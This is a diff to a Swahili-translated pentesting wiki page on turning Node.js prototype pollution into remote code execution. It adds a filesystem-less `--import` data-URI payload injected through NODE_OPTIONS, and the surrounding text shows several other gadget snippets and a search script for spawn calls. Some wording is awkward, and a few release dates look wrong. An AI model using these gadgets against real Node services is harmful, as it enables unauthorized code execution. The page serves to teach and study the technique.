diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index bb2210e06..2633d5148 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE** inamaanisha **Prototype Pollution to RCE** (Remote Code Execution). -Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unazalishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**: +Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unapoanzishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kuongeza uchafu** kwenye **attribute `.env`.** +Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kujaza** **sifa `.env`.** ### **Kuharibu `__proto__`** > [!WARNING] -> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** inavyofanya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuongeza uchafu chochote**.\ -> Kwa mfano, ukifanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`. +> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** kazi ya kazi kutoka kwa maktaba ya **`child_process`** ya node inavyofanya, wakati kitu kinapoitwa ili **kueka variable mpya ya env** kwa mchakato unahitaji tu **kujaza chochote**.\ +> Kwa mfano, ikiwa unafanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`. > -> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuongeza uchafu** kwenye **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio). +> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kujaza** **sifa `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio). > -> Ndio maana **`NODE_OPTIONS`** **haipo ndani ya `.env`** katika shambulio linalofuata. +> Ndio maana **`NODE_OPTIONS`** **haina ndani ya `.env`** katika shambulio linalofuata. ```javascript const { execSync, fork } = require("child_process") @@ -124,7 +124,7 @@ var proc = fork("a_file.js") Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika [**hiki andiko**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Tofauti kuu ni: -- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi i**ndani ya argv0** ya **`/proc/self/cmdline`**. +- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi **ndani ya argv0** ya **`/proc/self/cmdline`**. - Kisha, badala ya kuhitaji kupitia **`NODE_OPTIONS`** faili `/proc/self/environ`, inahitaji **`/proc/self/cmdline`**. ```javascript const { execSync, fork } = require("child_process") @@ -149,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` -## DNS Interaction +## Filesystem-less PP2RCE kupitia `--import` (Node ≥ 19) -Kwa kutumia payloads zifuatazo inawezekana kutumia NODE_OPTIONS env var tuliyoijadili hapo awali na kugundua kama ilifanya kazi kwa mwingiliano wa DNS: +> [!NOTE] +> Tangu **Node.js 19** bendera ya CLI `--import` inaweza kupitishwa kupitia `NODE_OPTIONS` kwa njia ile ile `--require` inavyoweza. Kinyume na `--require`, `--import` inaelewa **data-URIs** hivyo mshambuliaji **hapahitaji ufikiaji wa kuandika kwenye mfumo wa faili** kabisa. Hii inafanya kifaa kuwa na uaminifu zaidi katika mazingira yaliyofungwa au yasiyo na kuandika. +> +> Mbinu hii ilirekodiwa kwa mara ya kwanza hadharani na utafiti wa PortSwigger mnamo Mei 2023 na tangu wakati huo imejulikana katika changamoto kadhaa za CTF. + +Shambulio hili ni sawa kwa dhana na hila za `--require /proc/self/*` zilizoonyeshwa hapo juu, lakini badala ya kuelekeza kwenye faili tunaingiza mzigo moja kwa moja katika URL ya `data:` iliyokodishwa kwa base64: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +Kutitumia mchanganyiko/makloni dhaifu ulioonyeshwa juu ya ukurasa: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### Kwa nini `--import` inasaidia +1. **Hakuna mwingiliano wa diski** – mzigo unatembea kabisa ndani ya mchakato wa amri na mazingira. +2. **Inafanya kazi na mazingira ya ESM pekee** – `--import` ni njia ya kawaida ya kupakia JavaScript mapema katika toleo za kisasa za Node ambazo zina default kwa ECMAScript Modules. +3. **Inapita baadhi ya orodha za ruhusa za `--require`** – maktaba chache za kuimarisha zinachuja tu `--require`, zikiacha `--import` bila kuguswa. + +> [!WARNING] +> Msaada wa `--import` katika `NODE_OPTIONS` bado upo katika **Node 22.2.0** (Juni 2025). Timu ya msingi ya Node inajadili kuzuia data-URIs katika siku zijazo, lakini hakuna suluhisho linalopatikana wakati wa kuandika. + +--- + +## Mwingiliano wa DNS + +Kwa kutumia mzigo ufuatao inawezekana kutumia mazingira ya NODE_OPTIONS tuliyozungumzia hapo awali na kugundua kama ilifanya kazi na mwingiliano wa DNS: ```json { "__proto__": { @@ -281,7 +322,7 @@ var proc = fork("./a_file.js")
-spawn unyakuzi +spawn unyonyaji ```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options @@ -414,7 +455,7 @@ var proc = execSync("something")
-spawnSync unyakuzi +spawnSync unyanyasaji ```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options @@ -461,20 +502,20 @@ var proc = spawnSync("something") ```
-## Kulazimisha Kuanzisha +## Kulazimisha Spawn -Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ikiwa msimbo **hauiiti**. +Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ni nini kitatokea ikiwa msimbo **hauiiti**. ### Kudhibiti njia ya faili ya require -Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.\ -Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni: +Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itafanya **kuitisha njia ya spawn wakati inapoingizwa.**\ +Baadhi ya mifano ya faili za kawaida zinazoiita kazi ya spawn wakati zinapoingizwa ni: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js - Pata **faili zaidi hapa chini** -Script rahisi ifuatayo itatafuta **itoaji** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha itoaji ndani ya kazi): +Script rahisi ifuatayo itatafuta **kuitisha** kutoka **child_process** **bila padding yoyote** (ili kuepuka kuonyesha kuitisha ndani ya kazi): ```bash find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//' @@ -483,7 +524,7 @@ done ```
-Faili za kuvutia zilizopatikana na skripti ya awali +Faili za kuvutia zilizopatikana na script ya awali - node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })` - node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })` @@ -500,20 +541,20 @@ done ### Kuweka njia ya faili inayohitajika kupitia uchafuzi wa prototype > [!WARNING] -> **Tekniki ya awali inahitaji** kwamba **mtumiaji anadhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati. +> **Teknolojia ya awali inahitaji** kwamba **mtumiaji adhibiti njia ya faili** ambayo itakuwa **inahitajiwa**. Lakini hii si kweli kila wakati. -Hata hivyo, ikiwa msimbo utaendesha hitaji baada ya uchafuzi wa prototype, hata kama **huna udhibiti wa njia** ambayo itakuwa inahitajiwa, **unaweza kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**. +Hata hivyo, ikiwa msimbo utaendesha require baada ya uchafuzi wa prototype, hata kama **huhudumu njia** ambayo itakuwa inahitajiwa, unaweza **kulazimisha nyingine kwa kutumia uchafuzi wa prototype**. Hivyo hata kama mstari wa msimbo ni kama `require("./a_file.js")` au `require("bytes")` itakuwa **inahitaji pakiti uliyopunguza**. -Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio: +Kwa hivyo, ikiwa require inatekelezwa baada ya uchafuzi wako wa prototype na hakuna kazi ya spawn, hii ndiyo shambulio: - Tafuta **faili ya `.js` ndani ya mfumo** ambayo wakati **inahitajiwa** itafanya **kitu kwa kutumia `child_process`** - Ikiwa unaweza kupakia faili kwenye jukwaa unaloshambulia unaweza kupakia faili kama hiyo -- Punguza njia ili **kulazimisha upakuaji wa faili ya `.js`** ambayo itafanya kitu na child_process -- **Punguza mazingira/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali) +- Punguza njia ili **kulazimisha require kupakia faili ya `.js`** ambayo itafanya kitu na child_process +- **Punguza environ/cmdline** ili kutekeleza msimbo wa kiholela wakati kazi ya utekelezaji wa child_process inaitwa (angalia mbinu za awali) -#### Hitaji la moja kwa moja +#### Require ya moja kwa moja -Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu kuu** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**. +Ikiwa require iliyofanywa ni **ya moja kwa moja** (`require("bytes")`) na **pakiti haina main** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **require itekeleze faili tofauti**. {{#tabs}} {{#tab name="exploit"}} @@ -554,9 +595,9 @@ fork("anything") {{#endtab}} {{#endtabs}} -#### Mahitaji ya jamaa - 1 +#### Relative require - 1 -Ikiwa **njia ya jamaa** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **iweke njia tofauti**: +Ikiwa **njia ya uhusiano** inapo load badala ya njia ya moja kwa moja, unaweza kufanya node **i-load njia tofauti**: {{#tabs}} {{#tab name="exploit"}} @@ -598,7 +639,7 @@ fork("/path/to/anything") #### Mahitaji ya jamaa - 2 {{#tabs}} -{{#tab name="kuvamia"}} +{{#tab name="exploit"}} ```javascript // Create a file called malicious.js in /tmp // Contents of malicious.js in the other tab @@ -636,9 +677,9 @@ fork("/path/to/anything") {{#endtab}} {{#endtabs}} -#### Mahitaji ya jamaa - 3 +#### Relative require - 3 -Kama ilivyo kwa ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs). +Kama ile ya awali, hii ilipatikana katika [**hii andiko**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs). ```javascript // Requiring /opt/yarn-v1.22.19/preinstall.js Object.prototype["data"] = { @@ -665,13 +706,17 @@ Hata hivyo, kama mbinu za awali za **`child_process`**, imekuwa **imefanyiwa mar ## Fixes & Unexpected protections -Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika upya**. +Tafadhali, kumbuka kwamba uchafuzi wa prototype unafanya kazi ikiwa **attribute** ya kitu kinachofikiwa ni **undefined**. Ikiwa katika **code** hiyo **attribute** ime **wekwa** thamani, hu **wezi kuandika tena**. -Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inaepusha uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\ -Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo `spawn` na `spawnSync` **exploits** zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!). +Mnamo Juni 2022 kutoka [**hiki kifungu**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) var `options` badala ya `{}` ni **`kEmptyObject`**. Ambayo **inazuia uchafuzi wa prototype** kuathiri **attributes** za **`options`** kupata RCE.\ +Angalau kuanzia v18.4.0 ulinzi huu ume **tekelezwa,** na kwa hivyo **exploits** za `spawn` na `spawnSync` zinazohusiana na mbinu **hazifanyi kazi tena** (ikiwa hakuna `options` zinazotumika!). Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **uchafuzi wa prototype** wa **`contextExtensions`** kutoka maktaba ya vm pia **umeweza kufanyiwa marekebisho** kwa kuweka options kuwa **`kEmptyObject`** badala ya **`{}`.** +> [!INFO] +> **Node 20 (Aprili 2023) & Node 22 (Aprili 2025)** ilileta uimarishaji zaidi: wasaidizi kadhaa wa `child_process` sasa nakala `options` zinazotolewa na mtumiaji kwa **`CopyOptions()`** badala ya kuzitumia kwa rejeleo. Hii inazuia uchafuzi wa vitu vilivyotengwa kama `stdio`, lakini **haijalinda dhidi ya hila za `NODE_OPTIONS` / `--import`** zilizoelezwa hapo juu – bendera hizo bado zinakubaliwa kupitia mabadiliko ya mazingira. +> Marekebisho kamili yangepaswa kuzuia ni bendera zipi za CLI zinaweza kuhamasishwa kutoka kwa mchakato wa mzazi, ambayo inafuatiliwa katika Node Issue #50559. + ### **Other Gadgets** - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) @@ -682,6 +727,8 @@ Katika [**hiki kifungu**](https://github.com/nodejs/node/commit/0313102aaabb49f7 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}